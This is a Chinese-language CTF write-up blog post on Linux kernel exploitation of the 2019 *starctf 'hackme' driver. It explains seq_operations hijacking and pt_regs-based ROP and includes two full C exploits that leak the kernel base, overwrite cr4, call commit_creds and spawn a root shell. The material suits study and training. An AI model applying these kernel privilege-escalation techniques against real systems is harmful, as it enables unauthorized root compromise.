• kernel 劫持seq_operations && 利用pt_regs


    kernel 劫持seq_operations && 利用pt_regs

    劫持seq_operations进行栈迁移

    seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

    struct seq_operations {
        void * (*start) (struct seq_file *m, loff_t *pos);
        void (*stop) (struct seq_file *m, void *v);
        void * (*next) (struct seq_file *m, void *v, loff_t *pos);
        int (*show) (struct seq_file *m, void *v);
    };
    

    当我们read一个stat文件时,内核会调用proc_opsproc_read_iter指针

    ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
    {
        struct seq_file *m = iocb->ki_filp->private_data;
        //...
        p = m->op->start(m, &m->index);
        //...
    

    即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

    2019 *starctf hackme关闭smap来尝试这种打法

    exp1

    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <string.h>
    #include <sys/sem.h>
    #include <sys/mman.h>
    
    int fd;
    size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
    size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
    size_t user_cs, user_ss, user_sp, user_rflags;
    size_t raw_vmlinux_base = 0xffffffff81000000;
    size_t rop[0x100] = {0};
    
    struct Heap{
        size_t index;
        char *data;
        size_t len;
        size_t offset;
    };
    
    void add(int index, size_t len, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	ioctl(fd, 0x30000, &heap);
    }
    
    void delete(int index)
    {
    	struct Heap heap;
    	heap.index = index;
    	ioctl(fd, 0x30001, &heap);
    }
    
    void edit(int index, size_t len, size_t offset, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	heap.offset = offset;
    	ioctl(fd, 0x30002, &heap);
    }
    
    void show(int index, size_t len, size_t offset, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	heap.offset = offset;
    	ioctl(fd, 0x30003, &heap);
    }
    
    
    void save_status()
    {
    	__asm__(
    	"mov user_cs, cs;"
    	"mov user_ss, ss;"
    	"mov user_sp, rsp;"
    	"pushf;"
    	"pop user_rflags;"
    	);
    	puts("[+] save the state success!");
    }
    
    void get_shell()
    {
    	if (getuid() == 0)
    	{
    		puts("[+] get root");
    		//system("/bin/sh");
    		char *shell = "/bin/sh";
    		char *args[] = {shell, NULL};
    		execve(shell, args, NULL);
    	}
    	else
    	{
    		puts("[-] get shell error");
    		sleep(3);
    		exit(0);
    	}
    }
    
    void get_root(void)
    {
    	//commit_creds(prepare_kernel_cred(0));
    	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
    	void (*cc)(void *) = (void (*)(void *))commit_creds;
    	(*cc)((*pkc)(0));
    }
    
    int main()
    {
    	char buf[0x1000] = {0};
    	int i;
    	size_t seq_data[4] = {0};
    
    	save_status();
    
    	fd = open("/dev/hackme",0);
    	if(fd < 0)
    	{
    		puts("[-] open file error");
    		exit(0);
    	}
    
    	add(0, 0x20, buf); // 0
    	add(1, 0x20, buf); // 1
    	add(2, 0x20, buf); // 2
    	add(3, 0x20, buf); // 3
    
    	delete(0);
    	delete(2);
    
    	int fd_seq = open("/proc/self/stat", 0);
    	if(fd_seq < 0)
    	{
    		puts("[-] open stat error");
    		exit(0);
    	}
    	
    	show(3, 0x20, -0x20, buf);
    	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
    	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
    	off = vmlinux_base - raw_vmlinux_base;
    	commit_creds = off + 0xffffffff8104d220;
    	prepare_kernel_cred = off + 0xffffffff8104d3d0;
    	show(1, 0x20, -0x20, buf);
    	heap_base = ((size_t *)buf)[0] - 0x80;
    	printf("[+] heap_base=> 0x%lx\n", heap_base);
    
    	i = 0;
    	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
    	rop[i++] = 0x6f0;
    	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
    	rop[i++] = 0;
    	rop[i++] = (size_t)get_root;
    	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; 
    	rop[i++] = 0;
    	rop[i++] = 0;
    	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
    	rop[i++] = (size_t)get_shell;
    	rop[i++] = user_cs;
    	rop[i++] = user_rflags;
    	rop[i++] = user_sp;
    	rop[i++] = user_ss;
    
    	((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
    	edit(3, 0x20, -0x20, buf);
    	
    	size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
    	size_t mmap_base = fake_stack & 0xfffff000;
    
    	if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
    		{
    			puts("[-] mmap error");
    			sleep(3);
    			exit(0);
    		}
    	else
    		puts("[+] mmap success");
    
    	memcpy((void *)fake_stack, rop, sizeof(rop));
    
    	read(fd_seq, buf, 1);
    	return 0;
    }
    

    利用pt_regs

    可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

    	__asm__(
    	"mov r15, 0x1111111111;"
    	"mov r14, 0x2222222222;"
    	"mov r13, 0x3333333333;"
    	"mov r12, 0x4444444444;"
    	"mov rbp, 0x5555555555;"
    	"mov rbx, 0x6666666666;"
    	"mov r11, 0x7777777777;"
    	"mov r10, 0x8888888888;"
    	"mov r9,  0x9999999999;"
    	"mov r8,  0xaaaaaaaaaa;"
    	"mov rcx, 0x666666;"
    	"mov rdx, 8;"
    	"mov rsi, rsp;"
    	"mov rdi, fd_seq;"
    	"xor rax, rax;"
    	"syscall"
    	);
    

    这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令: PUSH_AND_CLEAR_REGS rax=$-ENOSYS,这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

    struct pt_regs {
    /*
     * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
     * unless syscall needs a complete, fully filled "struct pt_regs".
     */
        unsigned long r15;
        unsigned long r14;
        unsigned long r13;
        unsigned long r12;
        unsigned long rbp;
        unsigned long rbx;
    /* These regs are callee-clobbered. Always saved on kernel entry. */
        unsigned long r11;
        unsigned long r10;
        unsigned long r9;
        unsigned long r8;
        unsigned long rax;
        unsigned long rcx;
        unsigned long rdx;
        unsigned long rsi;
        unsigned long rdi;
    /*
     * On syscall entry, this is syscall#. On CPU exception, this is error code.
     * On hw interrupt, it's IRQ number:
     */
        unsigned long orig_rax;
    /* Return frame for iretq */
        unsigned long rip;
        unsigned long cs;
        unsigned long eflags;
        unsigned long rsp;
        unsigned long ss;
    /* top of stack page */
    };
    

    这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个,我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),布局如下:

    pop_rdi_ret;
    init_cred;
    commit_creds;
    swapgs_restore_regs_and_return_to_usermode;
    

    由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

    exp2:

    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <string.h>
    #include <sys/sem.h>
    #include <sys/mman.h>
    
    int fd;
    size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
    size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
    size_t user_cs, user_ss, user_sp, user_rflags;
    size_t raw_vmlinux_base = 0xffffffff81000000;
    size_t rop[0x100] = {0};
    int fd_seq;
    
    struct Heap{
        size_t index;
        char *data;
        size_t len;
        size_t offset;
    };
    
    void add(int index, size_t len, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	ioctl(fd, 0x30000, &heap);
    }
    
    void delete(int index)
    {
    	struct Heap heap;
    	heap.index = index;
    	ioctl(fd, 0x30001, &heap);
    }
    
    void edit(int index, size_t len, size_t offset, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	heap.offset = offset;
    	ioctl(fd, 0x30002, &heap);
    }
    
    void show(int index, size_t len, size_t offset, char *data)
    {
    	struct Heap heap;
    	heap.index = index;
    	heap.data = data;
    	heap.len = len;
    	heap.offset = offset;
    	ioctl(fd, 0x30003, &heap);
    }
    
    
    void save_status()
    {
    	__asm__(
    	"mov user_cs, cs;"
    	"mov user_ss, ss;"
    	"mov user_sp, rsp;"
    	"pushf;"
    	"pop user_rflags;"
    	);
    	puts("[+] save the state success!");
    }
    
    void get_shell()
    {
    	if (getuid() == 0)
    	{
    		puts("[+] get root");
    		//system("/bin/sh");
    		char *shell = "/bin/sh";
    		char *args[] = {shell, NULL};
    		execve(shell, args, NULL);
    	}
    	else
    	{
    		puts("[-] get shell error");
    		sleep(3);
    		exit(0);
    	}
    }
    
    void get_root(void)
    {
    	//commit_creds(prepare_kernel_cred(0));
    	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
    	void (*cc)(void *) = (void (*)(void *))commit_creds;
    	(*cc)((*pkc)(0));
    }
    
    int main()
    {
    	char buf[0x1000] = {0};
    	int i;
    	size_t seq_data[4] = {0};
    
    	save_status();
    
    	fd = open("/dev/hackme",0);
    	if(fd < 0)
    	{
    		puts("[-] open file error");
    		exit(0);
    	}
    
    	add(0, 0x20, buf); // 0
    	add(1, 0x20, buf); // 1
    
    	delete(0);
    
    	fd_seq = open("/proc/self/stat", 0);
    	if(fd_seq < 0)
    	{
    		puts("[-] open stat error");
    		exit(0);
    	}
    	
    	show(1, 0x20, -0x20, buf);
    	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
    	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
    	off = vmlinux_base - raw_vmlinux_base;
    	commit_creds = off + 0xffffffff8104d220;
    	prepare_kernel_cred = off + 0xffffffff8104d3d0;
    
    	size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
    	((size_t *)buf)[0] = gadget;
    
    	edit(1, 0x20, -0x20, buf);
    
    	__asm__(
    	"mov r15, 0x1111111111;"
    	"mov r14, 0x2222222222;"
    	"mov r13, 0x3333333333;"
    	"mov r12, 0x4444444444;"
    	"mov rbp, 0x5555555555;"
    	"mov rbx, 0x6666666666;"
    	"mov r11, 0x7777777777;"
    	"mov r10, 0x8888888888;"
    	"mov r9,  0x9999999999;"
    	"mov r8,  0xaaaaaaaaaa;"
    	"mov rcx, 0x666666;"
    	"mov rdx, 8;"
    	"mov rsi, rsp;"
    	"mov rdi, fd_seq;"
    	"xor rax, rax;"
    	"syscall"
    	);
    	return 0;
    }
    

    __EOF__

  • 本文作者: 狒猩橙
  • 本文链接: https://www.cnblogs.com/pwnfeifei/p/16246790.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    大数据必学Java基础(五十七):Set接口讲解
    centos7部署Nginx和RabbitMQ
    若依框架解读(前后端分离版)—— 1.Spring Security相关配置(@Anonymous注解)
    DSL风格语法(次要)_大数据培训
    增量学习 Demo
    CentOS7.x部署GreenPlum6.x
    Logic Pro X10.7.9(mac乐曲制作软件)
    「PAT甲级真题解析」Advanced Level 1007 Maximum Subsequence Sum
    Prometheus-4:服务自动发现Service Discovery
    实战分析:项目业务模块划分与包名设计思想
  • 原文地址:https://www.cnblogs.com/pwnfeifei/p/16246790.html